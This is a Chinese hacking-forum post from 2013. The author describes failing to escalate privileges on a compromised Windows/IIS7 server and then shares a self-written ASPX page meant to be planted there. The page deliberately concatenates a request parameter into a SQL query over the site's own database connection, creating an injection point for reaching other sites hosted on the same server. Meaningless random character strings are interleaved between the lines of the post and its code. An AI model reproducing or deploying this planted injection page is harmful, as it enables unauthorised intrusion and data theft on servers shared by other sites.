中国网络渗透测试联盟
标题:
利用aspx构造注射来跨站
[打印本页]
作者:
admin
时间:
2013-3-20 21:32
标题:
利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
; A# P) x0 c @5 J* O
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
" P; a8 _7 \( e; |
代码量不多,自己写个拉倒了。烦死了。
! {' g( J5 e$ @5 }0 w, G5 q4 i
4 p7 `6 H, g5 d
( I( L; `1 N! T3 s$ d- }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
9 H- {) }, ?" F: R2 s9 f! ], L
<html xmlns="http://www.w3.org/1999/xhtml">
/ N9 ?9 k+ a [, ]6 {/ P
<head runat="server">
Q" ^6 S* F7 @ k0 p5 Q, a
<title>暗影aspx构造注射专用页面</title>
( h8 z4 N3 e/ f! a: e
</head>
* k3 W. e/ x2 g, ]
<body>
8 k$ q* J4 v$ K2 f$ @- a! W& ^
<form id="form1" runat="server">
) H, [: M9 s6 f$ Y
<div>
k0 m* R, q1 ^: T
<script language="c#" runat="server">
* l+ f C {& H0 t: x
3 U ?& A4 q9 C$ V
void page_init(object sender, EventArgs e)
5 }+ H7 ~: b* j b0 M
{
8 |0 A2 _& z( x3 z/ N& G
3 {/ H+ y6 ^) O ~$ T
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
q2 q# u! n& F0 j
. @( F' E0 B! E' o9 B
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
: m# \, [0 U4 J$ w7 M9 c+ K
conn.Open();
3 `. x4 ]' w# {, y2 B
$ `( D5 |8 d7 |+ C) K
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
, H2 [9 \6 ]* l1 m a* y1 `
* l5 l' s7 x2 @- Z+ o. a; ~
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
: @- m2 Y6 T* t8 c q
int x = command.ExecuteNonQuery();
& q% t9 m/ f+ _! @, F2 r9 D7 k) `# q
Response.Write(i+"\n");
) p3 _( U9 y# {* l/ E
Response.Write(x);
2 q8 ]+ y- R) Y, B5 F& `
conn.Close();
) U r2 D# t, ` @1 a2 t
}
5 J4 i: `7 J% D
0 E- e6 {. R; f$ S6 K8 m
</script>
2 n1 D+ o+ _3 L1 H/ E
</div>
* G( f* }# W! Q5 J2 b) D
</form>
, s+ N( O7 N" c! E( C
</body>
" a) Q3 N. ]* ^+ K; z r& G
</html>
' |6 j+ X5 U5 q% R8 C u& J* _
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2